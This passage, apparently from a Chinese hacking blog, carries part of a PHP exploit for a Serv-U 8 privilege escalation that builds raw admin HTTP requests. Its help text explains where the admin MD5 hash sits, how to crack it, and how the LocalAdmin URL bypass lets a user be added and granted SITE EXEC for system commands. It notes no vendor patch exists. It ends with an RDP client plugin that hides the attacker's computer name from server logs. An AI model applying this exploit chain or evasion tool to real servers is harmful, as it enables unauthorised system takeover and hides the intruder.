foreach($post_data_post as $key=>$value)
{
$values[]="$key=".urlencode($value);
}
$data_string=implode("",$values);
}
$request.="POST ".$URL_post." HTTP/1.1";
$request.="Host: ".$host_post."";
$request.="Referer: ".$referer."";
$request.="Content-type: application/x-www-form-urlencoded";
$request.="Content-length: ".strlen($data_string)."";
$request.="User-Agent: Serv-U";
$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
$request.="Accept: */*";
$request.="Cache-Contro: no-cache";
$request.="UA-CPU: x86";
if ($sessionid!="")
{
$request.="Cookie: Session=".$sessionid."";
}
$request.="";
$request.=$data_string."";
return $request;
}
//getMidfor2str copy from internet
function getmidstr($L,$R,$str)
{
$int_l=strpos($str,$L);
$int_r=strpos($str,$R);
If ($int_l>-1&&$int_l>-1)
{
$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
return $str_put;
}
else
return "没找到需要的变量";
}
?>
</pre>
</form>
<div id="adminpassdiv" style="display:none">
<pre>
默认为空，如果密码为空，<b>填什么都能进去。</b>
如果修改过，管理员密码默认会在这里：
<b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>
文件中找到一个MD5密码值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为<b>kx</b>123456，去掉kx就是密码了。
你可以针对这个加密生成字典。
</pre>
</div>
<div id="QAdiv" style="display:none">
<pre>
<b>提权的原理？</b>
Su8的管理平台是http的，继承了su7的方式。
抓包，分析，发现了以下路程是可以利用的。
1， 管理员从管理控制台打开web页面时，是不需要验证密码的。
2， 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3， 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。
4， 管理员添加了用户的这个包和设置权限这个包，是分开的。
所以，我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆，exec命令。达到提权。
前面su7已经说了很多，这里简单的说下好了。
.....登陆什么的。
1，获取ID。
2，给这个id添加权限。
3，给这个id赋予用户名，密码，目录，权限。
4，登陆后执行系统命令。
<b>为啥我明明显示成功了，但是却提不上去？</b>
这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。
一般有以下几种情况：
1，可能是因为管理员密码不对。
参照管理员密码的连接。
2，可能是因为管理员限制了执行SITE EXEC。
有待程序修改，程序可以加一个让他不限制的功能。
3，可能是程序问题。
</pre>
</div>
</body>
</html>建议：
目前厂商没有任何补丁，要不大家再等等？
不过以前SU7本地溢出推出来，也没见到什么动静。-_-!
先把本地管理密码改复杂点应付着吧。
mstsc.exe的小插件,隐藏客户端计算机名
作者：LZX
当mstsc.exe登陆远程桌面服务器的时候，mstsc.exe会将客户端的一些信息发给服务端，最讨厌的就是将本机的计算机名、网卡ip发送过去， 不管你跳了几次代理，在服务器上的任务管理器的“用户”选项卡中显示的客户端名就是我的计算机名，以及系统事件日志中也有，这个小插件就是解决这个问题 的，利用微软的Virtual Channel Client DLL插件接口来加载dll，然后hook API 修改返回的计算机名为空。
http://msdn.microsoft.com/en-us/library/aa383580(VS.85).aspx
这个东西安装和卸装都是用regsvr32命令
安装：regsvr32 dllpath
卸装：regsvr32 /u dllpath
